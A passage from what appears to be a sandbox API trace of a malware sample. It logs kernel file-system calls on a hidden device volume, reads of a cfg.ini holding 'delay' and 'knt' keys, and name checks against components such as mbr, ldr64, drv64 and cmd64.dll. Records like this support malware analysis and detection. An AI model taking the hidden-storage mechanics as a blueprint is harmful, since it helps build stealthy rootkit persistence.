_Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.576] KeEnterCriticalRegion () [0128.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.576] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.576] KeLeaveCriticalRegion () [0128.576] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.576] KeEnterCriticalRegion () [0128.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.577] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.577] IdePortDispatch () returned 0x103 [0128.577] KeWaitForMutexObject () returned 0x0 [0128.577] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.577] KeLeaveCriticalRegion () [0128.577] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.577] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.577] KeEnterCriticalRegion () [0128.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.577] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cc000 [0128.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.577] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.577] IdePortDispatch () returned 0x103 [0128.577] KeWaitForMutexObject () returned 0x0 [0128.577] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.577] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.577] IdePortDispatch () returned 0x103 [0128.577] KeWaitForMutexObject () returned 0x0 [0128.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.578] KeLeaveCriticalRegion () [0128.578] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.578] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.578] KeEnterCriticalRegion () [0128.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.578] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.578] KeLeaveCriticalRegion () [0128.578] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.578] KeEnterCriticalRegion () [0128.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.578] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.578] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80036498e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.578] KeLeaveCriticalRegion () [0128.578] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.579] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.579] KeEnterCriticalRegion () [0128.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.579] ExFreePoolWithTag (P=0xfffffa8003bffa10, Tag=0x0) [0128.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.579] KeLeaveCriticalRegion () [0128.579] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.579] ReleaseMutex (hMutex=0xf0) returned 1 [0128.579] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.579] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.579] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.579] KeEnterCriticalRegion () [0128.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.579] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.579] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.579] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.579] IdePortDispatch () returned 0x103 [0128.580] KeWaitForMutexObject () returned 0x0 [0128.580] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.580] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.580] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.580] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.580] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.580] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00c30 [0128.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.580] KeLeaveCriticalRegion () [0128.580] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.580] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.580] KeEnterCriticalRegion () [0128.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.580] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.580] KeLeaveCriticalRegion () [0128.580] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.580] KeEnterCriticalRegion () [0128.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.580] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.580] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.580] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.580] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.580] IdePortDispatch () returned 0x103 [0128.580] KeWaitForMutexObject () returned 0x0 [0128.580] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.580] KeLeaveCriticalRegion () [0128.580] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.581] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.581] KeEnterCriticalRegion () [0128.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.581] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cd000 [0128.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.581] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.581] IdePortDispatch () returned 0x103 [0128.581] KeWaitForMutexObject () returned 0x0 [0128.581] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.581] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.581] IdePortDispatch () returned 0x103 [0128.581] KeWaitForMutexObject () returned 0x0 [0128.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.581] KeLeaveCriticalRegion () [0128.581] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.582] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.582] KeEnterCriticalRegion () [0128.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.582] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.582] KeLeaveCriticalRegion () [0128.582] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.582] KeEnterCriticalRegion () [0128.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.582] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.582] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c00e40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.582] KeLeaveCriticalRegion () [0128.582] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.582] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.582] KeEnterCriticalRegion () [0128.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.582] ExFreePoolWithTag (P=0xfffffa8003c00c30, Tag=0x0) [0128.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.582] KeLeaveCriticalRegion () [0128.582] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.582] ReleaseMutex (hMutex=0xf0) returned 1 [0128.582] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.582] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.582] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.582] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.582] KeEnterCriticalRegion () [0128.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.582] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.582] IdePortDispatch () returned 0x103 [0128.583] KeWaitForMutexObject () returned 0x0 [0128.583] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.583] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.583] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.583] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.583] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.583] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.583] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.583] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.583] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.583] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.583] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.583] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.583] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.583] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.583] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.583] KeLeaveCriticalRegion () [0128.583] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.583] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.583] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.583] KeEnterCriticalRegion () [0128.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.583] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.583] IdePortDispatch () returned 0x103 [0128.583] KeWaitForMutexObject () returned 0x0 [0128.583] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.583] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.583] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.583] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.583] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.583] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.584] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.584] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.584] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.584] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.584] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.584] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.584] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.584] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.584] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.584] KeLeaveCriticalRegion () [0128.584] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.584] ReleaseMutex (hMutex=0x100) returned 1 [0128.584] Sleep (dwMilliseconds=0x2bf20) [0128.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fd77df0, dwHighDateTime=0x1d24fa4)) [0128.592] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.592] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.592] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.592] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.592] KeEnterCriticalRegion () [0128.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.592] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.592] IdePortDispatch () returned 0x103 [0128.593] KeWaitForMutexObject () returned 0x0 [0128.593] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.593] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.593] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.593] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.593] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.593] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff700 [0128.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.593] KeLeaveCriticalRegion () [0128.593] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.593] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.593] KeEnterCriticalRegion () [0128.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.593] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.593] KeLeaveCriticalRegion () [0128.593] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.593] KeEnterCriticalRegion () [0128.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.593] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.593] IdePortDispatch () returned 0x103 [0128.593] KeWaitForMutexObject () returned 0x0 [0128.593] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.593] KeLeaveCriticalRegion () [0128.593] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.593] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.594] KeEnterCriticalRegion () [0128.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.594] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d0000 [0128.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.594] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.594] IdePortDispatch () returned 0x103 [0128.594] KeWaitForMutexObject () returned 0x0 [0128.594] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.594] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.594] IdePortDispatch () returned 0x103 [0128.594] KeWaitForMutexObject () returned 0x0 [0128.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.594] KeLeaveCriticalRegion () [0128.594] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.595] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.595] KeEnterCriticalRegion () [0128.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.595] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.595] KeLeaveCriticalRegion () [0128.595] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.595] KeEnterCriticalRegion () [0128.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.595] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 